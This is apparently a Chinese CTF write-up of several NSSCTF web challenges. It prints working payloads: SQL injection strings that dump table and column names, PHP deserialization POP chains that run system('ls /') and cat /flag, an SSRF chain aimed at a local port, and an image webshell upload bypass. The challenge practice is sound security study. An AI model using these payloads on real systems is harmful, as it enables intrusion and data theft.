Funny_web 这个题一开始就没做,不知道账号和密码算是他们内部题吧
然后进去之后看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 ); header ("Content-Type: text/html;charset=utf-8" ); highlight_file (__FILE__ ); include ('flag.php' ); if (isset ($_GET ['num' ])) { $num = $_GET ['num' ]; if ($num != '12345' ) { if (intval ($num ) == '12345' ) { echo $FLAG ; } } else { echo "这为何相等又不相等" ; } }
这里我卡了一下一直在纠结intval
这个函数,但是这里其实不是考这个函数而是考PHP弱比较 所以payload:?num=12345a
where_am_i 这个题那张图片实在是没看清那个酒店叫啥名字 山水间古迹酒店百度地图找到 输入客服电话去掉字符就行
numgame 前面抓包发现1.js,然后有个NsScTf.php这些步骤先过当时不是卡在这里 进入NsScTf.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 ); include ("flag.php" ); class nss { static function ctf ( ) { include ("./hint2.php" ); } } if (isset ($_GET ['p' ])){ if (preg_match ("/n|c/m" ,$_GET ['p' ], $matches )) die ("no" ); call_user_func ($_GET ['p' ]); }else { highlight_file (__FILE__ ); }
卡在这里,一开始看那个hint以为是用HEAD请求但不是 利用call_user_func
函数,直接看payload:?p=Nss::Ctf
用大写绕过正则匹配模式是m所以可以用大写绕过主要是这里可以用::
来进入ctf这个函数 提示nss2,同样的利用方法 flag在源码
ez_sql 这个题当时没做出来一开始没找到绕过方式,后面没做了
用post传参 过滤了 or 空格 union
爆表nss=0'ununionion/**/select/**/1,2,group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()%23
爆列nss=0'ununionion/**/select/**/1,2,group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_schema=database()%23
字段nss=0'ununionion/**/select/**/1,2,group_concat(Secr3t,flll444g)/**/from/**/NSS_tb%23
ez_1zpop 这个pop链做的时候没看懂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 <?php error_reporting (0 ); class dxg { function fmm ( ) { return "nonono" ; } } class lt { public $impo ='hi' ; public $md51 ='weclome' ; public $md52 ='to NSS' ; function __construct ( ) { $this ->impo = new dxg; } function __wakeup ( ) { $this ->impo = new dxg; return $this ->impo->fmm (); } function __toString ( ) { if (isset ($this ->impo) && md5 ($this ->md51) == md5 ($this ->md52) && $this ->md51 != $this ->md52) return $this ->impo->fmm (); } function __destruct ( ) { echo $this ; } } class fin { public $a ; public $url = 'https://www.ctfer.vip' ; public $title ; function fmm ( ) { $b = $this ->a; $b ($this ->title); } } if (isset ($_GET ['NSS' ])) { $Data = unserialize ($_GET ['NSS' ]); } else { highlight_file (__file__); }
看fin类中的fmm()函数,$b($this->title);
这一条语句如果b为system而title为ls /,那么是不是就执行查看根目录,怎么进入这个函数呢?lt类中toString可以进入return $this->impo->fmm();
那么怎么进入toString呢,当对象当作字符串输出时会进入toString方法,看__destruct()销毁对象时会输出这个对象,至此pop链就理清楚了,这里就进入toString有点难理解,其它还好,这个pop链是需要自己去构造危险函数的执行,以前没练过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php class lt { public $impo ; public $md51 ; public $md52 ; function __construct ($f ) { $this ->impo = $f ; } } class fin { public $a ; public $url ; public $title ; function fmm ( ) { $b = $this ->a; $b ($this ->title); } } $a = new fin (); $a ->a = "system" ; $a ->title = "ls /" ; $b = new lt ($a );$b ->md51[]=1 ;$b ->md52[] = 2 ; $b = serialize ($b ); echo $b ;
1z_unserialize 之前没做过这种利用参数执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13 class lyh { public $url = 'NSSCTF.com' ; public $lt ; public $lly ; function __destruct ( ) { $a = $this ->lt; $a ($this ->lly); } } unserialize ($_POST ['nss' ]); highlight_file (__FILE__ ); ?>
序列化脚本
1 2 3 4 5 6 7 8 9 10 11 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ; public $lly ; } $a =new lyh (); $a ->lt="assert" ; $a ->lly="system('cat /flag');" ; echo (serialize ($a ));
js_sign 查看源码 通过tapcode解码flag出来下面这串字符,不知道怎么提交了
Power! 看源码有提示 全部的代码就不放了吧挺长的慢慢分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); }else { if (isset ($_GET ['image_path' ])){ $path = $_GET ['image_path' ]; if (is_string ($path )&&!preg_match ("/http:|gopher:|glob:|php:/i" ,$path )){ echo '<img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; }else { echo '<h2>Seriously??</h2><img src="data:jpg;base64,' .base64_encode (file_get_contents ("cheems.jpg" )).'"/>' ; } }else if (isset ($_GET ['path_info' ])){ $path_info = $_GET ['path_info' ]; $FV = unserialize (base64_decode ($path_info )); $FV ->loadfile (); }else { $path = "vergil.jpg" ; echo '<h2>POWER!!</h2> <img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; } }
直接用get方法传入image_path=flag.php
flag在内网,SSRF,看一下哪里能利用
1 2 3 4 5 6 7 8 9 10 public function curl ($path ) { $url = $path ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); $response = curl_exec ($curl ); curl_close ($curl ); return $response ; }
这里可以进行SSRF,跟一下这个函数
1 2 3 4 5 6 7 8 9 10 11 12 public function loadfile ( ) { if (!is_array ($this ->path)){ if (preg_match ("/" .$this ->black_list."/i" ,$this ->path)){ $file = $this ->curl ($this ->local."cheems.jpg" ); }else { $file = $this ->curl ($this ->local.$this ->path); } }else { $file = $this ->curl ($this ->local."cheems.jpg" ); } echo '<img src="data:jpg;base64,' .base64_encode ($file ).'"/>' ; }
loadfile()
可以进行跳转,再跟loadfile()
1 2 3 public function __call ($f ,$a ) { $this ->loadfile (); }
__call
方法可以进行跳转,想办法进入这里
1 2 3 4 5 6 7 8 public function goodman ($i ,$j ) { $i ->$j = $this ->superhacker; } public function __destruct ( ) { $this ->goodman ($this ->a,$this ->b); $this ->a->c (); }
利用goodman函数进行变量覆盖,让a为FileViewer类的对象b="local"
,然后让Backdoor类下superhacker="http://127.0.0.1:65500/"
就可以覆盖成功,a为FileViewer对象但这个类里面没有c方法,进入__call
魔术方法, 这样pop链构造完成,但是这里怎么利用呢? 直接传给image_path是失败了的
这篇博客打开是空的
1 2 3 4 5 6 7 else if (isset ($_GET ['path_info' ])){ $path_info = $_GET ['path_info' ]; $FV = unserialize (base64_decode ($path_info )); $FV ->loadfile ();
所以我们得从这里进入localfile,原来的那条链子可以进行变量覆盖,我的理解是这样的,wp中这里没有太多解释 exp:来源wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class FileViewer { public $black_list ; public $local ; public $path ; } class Backdoor { public $a ; public $b ; public $superhacker ; } $m = new FileViewer ();$n = new Backdoor ();$n ->a=$m ;$n ->b="local" ;$n ->superhacker="127.0.0.1:65500/" ;$m ->black_list="黑名单什么的管不着我" ;$m ->local=$n ;$m ->path="flag.php" ;echo (base64_encode (serialize ($m )));?>
感觉没太理解有点问题,先这样吧 path_info进入 解码得到flag
file_master 进来有个查看文件,试一下index.php 查看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <?php session_start (); if (isset ($_GET ['filename' ])){ echo file_get_contents ($_GET ['filename' ]); } else if (isset ($_FILES ['file' ]['name' ])){ $whtie_list = array ("image/jpeg" ); $filetype = $_FILES ["file" ]["type" ]; if (in_array ($filetype ,$whtie_list )){ $img_info = @getimagesize ($_FILES ["file" ]["tmp_name" ]); if ($img_info ){ if ($img_info [0 ]<=20 && $img_info [1 ]<=20 ){ if (!is_dir ("upload/" .session_id ())){ mkdir ("upload/" .session_id ()); } $save_path = "upload/" .session_id ()."/" .$_FILES ["file" ]["name" ]; move_uploaded_file ($_FILES ["file" ]["tmp_name" ],$save_path ); $content = file_get_contents ($save_path ); if (preg_match ("/php/i" ,$content )){ sleep (5 ); @unlink ($save_path ); die ("hacker!!!" ); }else { echo "upload success!! upload/your_sessionid/your_filename" ; } }else { die ("image hight and width must less than 20" ); } }else { die ("invalid file head" ); } }else { die ("invalid file type!image/jpeg only!!" ); } }else { echo '<img src="data:jpg;base64,' .base64_encode (file_get_contents ("welcome.jpg" )).'">' ; } ?>
传一张图片马显示太大了
1 2 3 4 if ($img_info [0 ]<=20 && $img_info [1 ]<=20 ){ if (!is_dir ("upload/" .session_id ())){ mkdir ("upload/" .session_id ()); }
直接使用define改,第一次遇到这中操作,题刷的太少了 被拦了,而且有延时
1 2 3 4 if (preg_match ("/php/i" ,$content )){ sleep (5 ); @unlink ($save_path ); die ("hacker!!!" );
试一下短标签 上传成功,PHP试一下 成功,路径直接提示了格式,连蚁剑 不知道为什么连不上,进入文件发现报错 多了一个>
删掉连接成功,文件打不开直接进终端
总结 参考:
(https://www.wd-ljt.com/post/1024/894.html )
这篇复现鸽了这么久终于弄完了,这篇博客图片上传的真不容易啊,obsidain对图片的处理真的麻烦,得找个插件解决一下这个问题,不然下次还得一个个重新截图保存上传,博客还不够完善,导航都还没弄,找个时间弄弄吧